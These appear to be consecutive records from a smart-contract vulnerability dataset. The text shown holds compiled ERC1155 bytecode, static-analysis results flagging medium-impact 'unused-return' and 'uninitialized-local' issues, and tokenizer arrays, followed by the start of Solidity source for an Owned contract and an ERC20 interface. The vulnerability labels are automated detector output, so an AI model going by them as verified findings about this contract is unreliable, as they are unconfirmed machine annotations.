40161190f90614308565b60405180910390fd5b60016006600083815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61194f611f65565b73ffffffffffffffffffffffffffffffffffffffff1661196d6114ce565b73ffffffffffffffffffffffffffffffffffffffff16146119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ba90614308565b60405180910390fd5b600360149054906101000a900460ff16611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a09906143d4565b60405180910390fd5b60005b83839050811015611a7657611a63848483818110611a3657611a35614460565b5b9050602002016020810190611a4b91906141aa565b83600160405180602001604052806000815250612001565b8080611a6e906144be565b915050611a15565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600960008381526020019081526020016000205481611b2f9190614728565b3414611b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b67906147ce565b60405180910390fd5b600a600083815260200190815260200160002054811115611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbd9061483a565b60405180910390fd5b60008111611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c00906148a6565b60405180910390fd5b6008600083815260200190815260200160002054816007600085815260200190815260200160002054611c3c91906148c6565b1115611c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7490614968565b60405180910390fd5b80600760008481526020019081526020016000206000828254611ca091906148c6565b92505081905550611cc233838360405180602001604052806000815250612001565b5050565b611cce611f65565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480611d145750611d1385611d0e611f65565b611a7c565b5b611d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4a90614708565b60405180910390fd5b611d6085858585856129a5565b5050505050565b611d6f611f65565b73ffffffffffffffffffffffffffffffffffffffff16611d8d6114ce565b73ffffffffffffffffffffffffffffffffffffffff1614611de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dda90614308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e49906149fa565b60405180910390fd5b611e5b81612773565b50565b611e66611f65565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611eac5750611eab83611ea6611f65565b611a7c565b5b611eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee290614708565b60405180910390fd5b611ef6838383612c26565b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b606060028054611f7c90614357565b80601f0160208091040260200160405190810160405280929190818152602001828054611fa890614357565b8015611ff55780601f10611fca57610100808354040283529160200191611ff5565b820191906000526020600020905b815481529060010190602001808311611fd857829003601f168201915b50505050509050919050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206790614a8c565b60405180910390fd5b600061207a611f65565b905061209b8160008761208c88612e42565b61209588612e42565b87612ebc565b8260008086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120fa91906148c6565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628787604051612178929190614aac565b60405180910390a461218f81600087878787612ec4565b5050505050565b81518351146121da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d190614b47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612249576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224090614bd9565b60405180910390fd5b6000612253611f65565b9050612263818787878787612ebc565b60005b845181101561241457600085828151811061228457612283614460565b5b6020026020010151905060008583815181106122a3576122a2614460565b5b60200260200101519050600080600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612344576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233b90614c6b565b60405180910390fd5b81810360008085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160008085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123f991906148c6565b925050819055505050508061240d906144be565b9050612266565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb878760405161248b929190614c8b565b60405180910390a46124a181878787878761309b565b505050505050565b80600290805190602001906124bf92919061331b565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252990614d34565b60405180910390fd5b8051825114612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d90614b47565b60405180910390fd5b6000612580611f65565b90506125a081856000868660405180602001604052806000815250612ebc565b60005b83518110156126ed5760008482815181106125c1576125c0614460565b5b6020026020010151905060008483815181106125e0576125df614460565b5b60200260200101519050600080600084815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612681576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267890614dc6565b60405180910390fd5b81810360008085815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505080806126e5906144be565b9150506125a3565b50600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051612765929190614c8b565b60405180910390a450505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289e90614e58565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516129989190613570565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0b90614bd9565b60405180910390fd5b6000612a1e611f65565b9050612a3e818787612a2f88612e42565b612a3888612e42565b87612ebc565b600080600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015612ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acc90614c6b565b60405180910390fd5b83810360008087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508360008087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b8a91906148c6565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628888604051612c07929190614aac565b60405180910390a4612c1d828888888888612ec4565b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c8c90614d34565b60405180910390fd5b6000612c9f611f65565b9050612ccf81856000612cb187612e42565b612cba87612e42565b60405180602001604052806000815250612ebc565b600080600085815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015612d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5d90614dc6565b60405180910390fd5b82810360008086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628787604051612e33929190614aac565b60405180910390a45050505050565b60606000600167ffffffffffffffff811115612e6157612e606138ff565b5b604051908082528060200260200182016040528015612e8f5781602001602082028036833780820191505090505b5090508281600081518110612ea757612ea6614460565b5b60200260200101818152505080915050919050565b505050505050565b612ee38473ffffffffffffffffffffffffffffffffffffffff16613272565b15613093578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b8152600401612f29959493929190614ecd565b6020604051808303816000875af1925050508015612f6557506040513d601f19601f82011682018060405250810190612f629190614f3c565b60015b61300a57612f71614f76565b806308c379a003612fcd5750612f85614f98565b80612f905750612fcf565b806040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fc49190613716565b60405180910390fd5b505b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130019061509a565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614613091576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130889061512c565b60405180910390fd5b505b505050505050565b6130ba8473ffffffffffffffffffffffffffffffffffffffff16613272565b1561326a578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b815260040161310095949392919061514c565b6020604051808303816000875af192505050801561313c57506040513d601f19601f820116820180604052508101906131399190614f3c565b60015b6131e157613148614f76565b806308c379a0036131a4575061315c614f98565b8061316757506131a6565b806040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161319b9190613716565b60405180910390fd5b505b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d89061509a565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614613268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161325f9061512c565b60405180910390fd5b505b505050505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b8280546132a190614357565b90600052602060002090601f0160209004810192826132c3576000855561330a565b82601f106132dc57803560ff191683800117855561330a565b8280016001018555821561330a579182015b828111156133095782358255916020019190600101906132ee565b5b50905061331791906133a1565b5090565b82805461332790614357565b90600052602060002090601f0160209004810192826133495760008555613390565b82601f1061336257805160ff1916838001178555613390565b82800160010185558215613390579182015b8281111561338f578251825591602001919060010190613374565b5b50905061339d91906133a1565b5090565b5b808211156133ba5760008160009055506001016133a2565b5090565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006133fd826133d2565b9050919050565b61340d816133f2565b811461341857600080fd5b50565b60008135905061342a81613404565b92915050565b6000819050919050565b61344381613430565b811461344e57600080fd5b50565b6000813590506134608161343a565b92915050565b6000806040838503121561347d5761347c6133c8565b5b600061348b8582860161341b565b925050602061349c85828601613451565b9150509250929050565b6134af81613430565b82525050565b60006020820190506134ca60008301846134a6565b92915050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b613505816134d0565b811461351057600080fd5b50565b600081359050613522816134fc565b92915050565b60006020828403121561353e5761353d6133c8565b5b600061354c84828501613513565b91505092915050565b60008115159050919050565b61356a81613555565b82525050565b60006020820190506135856000830184613561565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126135b0576135af61358b565b5b8235905067ffffffffffffffff8111156135cd576135cc613590565b5b6020830191508360018202830111156135e9576135e8613595565b5b9250929050565b600080600060408486031215613609576136086133c8565b5b600084013567ffffffffffffffff811115613627576136266133cd565b5b6136338682870161359a565b9350935050602061364686828701613451565b9150509250925092565b600060208284031215613666576136656133c8565b5b600061367484828501613451565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156136b757808201518184015260208101905061369c565b838111156136c6576000848401525b50505050565b6000601f19601f8301169050919050565b60006136e88261367d565b6136f28185613688565b9350613702818560208601613699565b61370b816136cc565b840191505092915050565b6000602082019050818103600083015261373081846136dd565b905092915050565b60008060008060808587031215613752576137516133c8565b5b600061376087828801613451565b945050602061377187828801613451565b935050604061378287828801613451565b925050606061379387828801613451565b91505092959194509250565b60008083601f8401126137b5576137b461358b565b5b8235905067ffffffffffffffff8111156137d2576137d1613590565b5b6020830191508360208202830111156137ee576137ed613595565b5b9250929050565b60008083601f84011261380b5761380a61358b565b5b8235905067ffffffffffffffff81111561382857613827613590565b5b60208301915083602082028301111561384457613843613595565b5b9250929050565b60008060008060008060608789031215613868576138676133c8565b5b600087013567ffffffffffffffff811115613886576138856133cd565b5b61389289828a0161379f565b9650965050602087013567ffffffffffffffff8111156138b5576138b46133cd565b5b6138c189828a016137f5565b9450945050604087013567ffffffffffffffff8111156138e4576138e36133cd565b5b6138f089828a016137f5565b92509250509295509295509295565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613937826136cc565b810181811067ffffffffffffffff82111715613956576139556138ff565b5b80604052505050565b60006139696133be565b9050613975828261392e565b919050565b600067ffffffffffffffff821115613995576139946138ff565b5b602082029050602081019050919050565b60006139b96139b48461397a565b61395f565b905080838252602082019050602084028301858111156139dc576139db613595565b5b835b81811015613a0557806139f18882613451565b8452602084019350506020810190506139de565b5050509392505050565b600082601f830112613a2457613a2361358b565b5b8135613a348482602086016139a6565b91505092915050565b600080fd5b600067ffffffffffffffff821115613a5d57613a5c6138ff565b5b613a66826136cc565b9050602081019050919050565b82818337600083830152505050565b6000613a95613a9084613a42565b61395f565b905082815260208101848484011115613ab157613ab0613a3d565b5b613abc848285613a73565b509392505050565b600082601f830112613ad957613ad861358b565b5b8135613ae9848260208601613a82565b91505092915050565b600080600080600060a08688031215613b0e57613b0d6133c8565b5b6000613b1c8882890161341b565b9550506020613b2d8882890161341b565b945050604086013567ffffffffffffffff811115613b4e57613b4d6133cd565b5b613b5a88828901613a0f565b935050606086013567ffffffffffffffff811115613b7b57613b7a6133cd565b5b613b8788828901613a0f565b925050608086013567ffffffffffffffff811115613ba857613ba76133cd565b5b613bb488828901613ac4565b9150509295509295909350565b600067ffffffffffffffff821115613bdc57613bdb6138ff565b5b602082029050602081019050919050565b6000613c00613bfb84613bc1565b61395f565b90508083825260208201905060208402830185811115613c2357613c22613595565b5b835b81811015613c4c5780613c38888261341b565b845260208401935050602081019050613c25565b5050509392505050565b600082601f830112613c6b57613c6a61358b565b5b8135613c7b848260208601613bed565b91505092915050565b60008060408385031215613c9b57613c9a6133c8565b5b600083013567ffffffffffffffff811115613cb957613cb86133cd565b5b613cc585828601613c56565b925050602083013567ffffffffffffffff811115613ce657613ce56133cd565b5b613cf285828601613a0f565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613d3181613430565b82525050565b6000613d438383613d28565b60208301905092915050565b6000602082019050919050565b6000613d6782613cfc565b613d718185613d07565b9350613d7c83613d18565b8060005b83811015613dad578151613d948882613d37565b9750613d9f83613d4f565b925050600181019050613d80565b5085935050505092915050565b60006020820190508181036000830152613dd48184613d5c565b905092915050565b60008060208385031215613df357613df26133c8565b5b600083013567ffffffffffffffff811115613e1157613e106133cd565b5b613e1d8582860161359a565b92509250509250929050565b600080600060608486031215613e4257613e416133c8565b5b6000613e508682870161341b565b935050602084013567ffffffffffffffff811115613e7157613e706133cd565b5b613e7d86828701613a0f565b925050604084013567ffffffffffffffff811115613e9e57613e9d6133cd565b5b613eaa86828701613a0f565b9150509250925092565b613ebd816133f2565b82525050565b6000602082019050613ed86000830184613eb4565b92915050565b6000806000806000806000806080898b031215613efe57613efd6133c8565b5b600089013567ffffffffffffffff811115613f1c57613f1b6133cd565b5b613f288b828c016137f5565b9850985050602089013567ffffffffffffffff811115613f4b57613f4a6133cd565b5b613f578b828c016137f5565b9650965050604089013567ffffffffffffffff811115613f7a57613f796133cd565b5b613f868b828c016137f5565b9450945050606089013567ffffffffffffffff811115613fa957613fa86133cd565b5b613fb58b828c016137f5565b92509250509295985092959890939650565b613fd081613555565b8114613fdb57600080fd5b50565b600081359050613fed81613fc7565b92915050565b6000806040838503121561400a576140096133c8565b5b60006140188582860161341b565b925050602061402985828601613fde565b9150509250929050565b60008060006040848603121561404c5761404b6133c8565b5b600084013567ffffffffffffffff81111561406a576140696133cd565b5b6140768682870161379f565b9350935050602061408986828701613451565b9150509250925092565b600080604083850312156140aa576140a96133c8565b5b60006140b88582860161341b565b92505060206140c98582860161341b565b9150509250929050565b600080604083850312156140ea576140e96133c8565b5b60006140f885828601613451565b925050602061410985828601613451565b9150509250929050565b600080600080600060a0868803121561412f5761412e6133c8565b5b600061413d8882890161341b565b955050602061414e8882890161341b565b945050604061415f88828901613451565b935050606061417088828901613451565b925050608086013567ffffffffffffffff811115614191576141906133cd565b5b61419d88828901613ac4565b9150509295509295909350565b6000602082840312156141c0576141bf6133c8565b5b60006141ce8482850161341b565b91505092915050565b6000806000606084860312156141f0576141ef6133c8565b5b60006141fe8682870161341b565b935050602061420f86828701613451565b925050604061422086828701613451565b9150509250925092565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b6000614286602b83613688565b91506142918261422a565b604082019050919050565b600060208201905081810360008301526142b581614279565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006142f2602083613688565b91506142fd826142bc565b602082019050919050565b60006020820190508181036000830152614321816142e5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061436f57607f821691505b60208210810361438257614381614328565b5b50919050565b7f4e6f7420616c6c6f776564000000000000000000000000000000000000000000600082015250565b60006143be600b83613688565b91506143c982614388565b602082019050919050565b600060208201905081810360008301526143ed816143b1565b9050919050565b7f426164206172726179206c656e67746873000000000000000000000000000000600082015250565b600061442a601183613688565b9150614435826143f4565b602082019050919050565b600060208201905081810360008301526144598161441d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006144c982613430565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036144fb576144fa61448f565b5b600182019050919050565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b6000614562603283613688565b915061456d82614506565b604082019050919050565b6000602082019050818103600083015261459181614555565b9050919050565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b60006145f4602983613688565b91506145ff82614598565b604082019050919050565b60006020820190508181036000830152614623816145e7565b9050919050565b7f467265657a656400000000000000000000000000000000000000000000000000600082015250565b6000614660600783613688565b915061466b8261462a565b602082019050919050565b6000602082019050818103600083015261468f81614653565b9050919050565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b60006146f2602983613688565b91506146fd82614696565b604082019050919050565b60006020820190508181036000830152614721816146e5565b9050919050565b600061473382613430565b915061473e83613430565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156147775761477661448f565b5b828202905092915050565b7f57726f6e67204554482076616c75650000000000000000000000000000000000600082015250565b60006147b8600f83613688565b91506147c382614782565b602082019050919050565b600060208201905081810360008301526147e7816147ab565b9050919050565b7f506572207478206c696d69742065786365656465640000000000000000000000600082015250565b6000614824601583613688565b915061482f826147ee565b602082019050919050565b6000602082019050818103600083015261485381614817565b9050919050565b7f43616e2774206d696e7420300000000000000000000000000000000000000000600082015250565b6000614890600c83613688565b915061489b8261485a565b602082019050919050565b600060208201905081810360008301526148bf81614883565b9050919050565b60006148d182613430565b91506148dc83613430565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156149115761491061448f565b5b828201905092915050565b7f537570706c792065786365656465640000000000000000000000000000000000600082015250565b6000614952600f83613688565b915061495d8261491c565b602082019050919050565b6000602082019050818103600083015261498181614945565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006149e4602683613688565b91506149ef82614988565b604082019050919050565b60006020820190508181036000830152614a13816149d7565b9050919050565b7f455243313135353a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000614a76602183613688565b9150614a8182614a1a565b604082019050919050565b60006020820190508181036000830152614aa581614a69565b9050919050565b6000604082019050614ac160008301856134a6565b614ace60208301846134a6565b9392505050565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b6000614b31602883613688565b9150614b3c82614ad5565b604082019050919050565b60006020820190508181036000830152614b6081614b24565b9050919050565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614bc3602583613688565b9150614bce82614b67565b604082019050919050565b60006020820190508181036000830152614bf281614bb6565b9050919050565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b6000614c55602a83613688565b9150614c6082614bf9565b604082019050919050565b60006020820190508181036000830152614c8481614c48565b9050919050565b60006040820190508181036000830152614ca58185613d5c565b90508181036020830152614cb98184613d5c565b90509392505050565b7f455243313135353a206275726e2066726f6d20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614d1e602383613688565b9150614d2982614cc2565b604082019050919050565b60006020820190508181036000830152614d4d81614d11565b9050919050565b7f455243313135353a206275726e20616d6f756e7420657863656564732062616c60008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b6000614db0602483613688565b9150614dbb82614d54565b604082019050919050565b60006020820190508181036000830152614ddf81614da3565b9050919050565b7f455243313135353a2073657474696e6720617070726f76616c2073746174757360008201527f20666f722073656c660000000000000000000000000000000000000000000000602082015250565b6000614e42602983613688565b9150614e4d82614de6565b604082019050919050565b60006020820190508181036000830152614e7181614e35565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000614e9f82614e78565b614ea98185614e83565b9350614eb9818560208601613699565b614ec2816136cc565b840191505092915050565b600060a082019050614ee26000830188613eb4565b614eef6020830187613eb4565b614efc60408301866134a6565b614f0960608301856134a6565b8181036080830152614f1b8184614e94565b90509695505050505050565b600081519050614f36816134fc565b92915050565b600060208284031215614f5257614f516133c8565b5b6000614f6084828501614f27565b91505092915050565b60008160e01c9050919050565b600060033d1115614f955760046000803e614f92600051614f69565b90505b90565b600060443d1061502557614faa6133be565b60043d036004823e80513d602482011167ffffffffffffffff82111715614fd2575050615025565b808201805167ffffffffffffffff811115614ff05750505050615025565b80602083010160043d03850181111561500d575050505050615025565b61501c8260200185018661392e565b82955050505050505b90565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b6000615084603483613688565b915061508f82615028565b604082019050919050565b600060208201905081810360008301526150b381615077565b9050919050565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b6000615116602883613688565b9150615121826150ba565b604082019050919050565b6000602082019050818103600083015261514581615109565b9050919050565b600060a0820190506151616000830188613eb4565b61516e6020830187613eb4565b81810360408301526151808186613d5c565b905081810360608301526151948185613d5c565b905081810360808301526151a88184614e94565b9050969550505050505056fea26469706673582212204b433f1ee004a8a237c888d61e9194bb88a1da59cc39ced127cc8546e71e1ca864736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 2581, 29097, 2487, 2278, 2549, 4402, 11387, 2683, 16086, 2098, 2683, 16147, 2497, 21472, 11387, 2620, 2094, 2620, 2620, 11387, 2683, 2575, 2683, 2683, 23632, 2549, 2050, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1030, 1018, 1012, 1019, 1012, 1014, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 6123, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,862
0x95d9c4c2c7ab5add7a99553c17e48403d222bce9
//File: contracts/Owned.sol pragma solidity ^0.4.19; /// @title Owned /// @author Adrià Massanet <adria@codecontext.io> /// @notice The Owned contract has an owner address, and provides basic /// authorization control functions, this simplifies & the implementation of /// user permissions; this contract has three work flows for a change in /// ownership, the first requires the new owner to validate that they have the /// ability to accept ownership, the second allows the ownership to be /// directly transfered without requiring acceptance, and the third allows for /// the ownership to be removed to allow for decentralization contract Owned { address public owner; address public newOwnerCandidate; event OwnershipRequested(address indexed by, address indexed to); event OwnershipTransferred(address indexed from, address indexed to); event OwnershipRemoved(); /// @dev The constructor sets the `msg.sender` as the`owner` of the contract function Owned() public { owner = msg.sender; } /// @dev `owner` is the only address that can call a function with this /// modifier modifier onlyOwner() { require (msg.sender == owner); _; } /// @dev In this 1st option for ownership transfer `proposeOwnership()` must /// be called first by the current `owner` then `acceptOwnership()` must be /// called by the `newOwnerCandidate` /// @notice `onlyOwner` Proposes to transfer control of the contract to a /// new owner /// @param _newOwnerCandidate The address being proposed as the new owner function proposeOwnership(address _newOwnerCandidate) public onlyOwner { newOwnerCandidate = _newOwnerCandidate; OwnershipRequested(msg.sender, newOwnerCandidate); } /// @notice Can only be called by the `newOwnerCandidate`, accepts the /// transfer of ownership function acceptOwnership() public { require(msg.sender == newOwnerCandidate); address oldOwner = owner; owner = newOwnerCandidate; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner); } /// @dev In this 2nd option for ownership transfer `changeOwnership()` can /// be called and it will immediately assign ownership to the `newOwner` /// @notice `owner` can step down and assign some other address to this role /// @param _newOwner The address of the new owner function changeOwnership(address _newOwner) public onlyOwner { require(_newOwner != 0x0); address oldOwner = owner; owner = _newOwner; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner); } /// @dev In this 3rd option for ownership transfer `removeOwnership()` can /// be called and it will immediately assign ownership to the 0x0 address; /// it requires a 0xdece be input as a parameter to prevent accidental use /// @notice Decentralizes the contract, this operation cannot be undone /// @param _dac `0xdac` has to be entered for this function to work function removeOwnership(address _dac) public onlyOwner { require(_dac == 0xdac); owner = 0x0; newOwnerCandidate = 0x0; OwnershipRemoved(); } } //File: contracts/ERC20.sol pragma solidity ^0.4.19; /** * @title ERC20 * @dev A standard interface for tokens. * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ 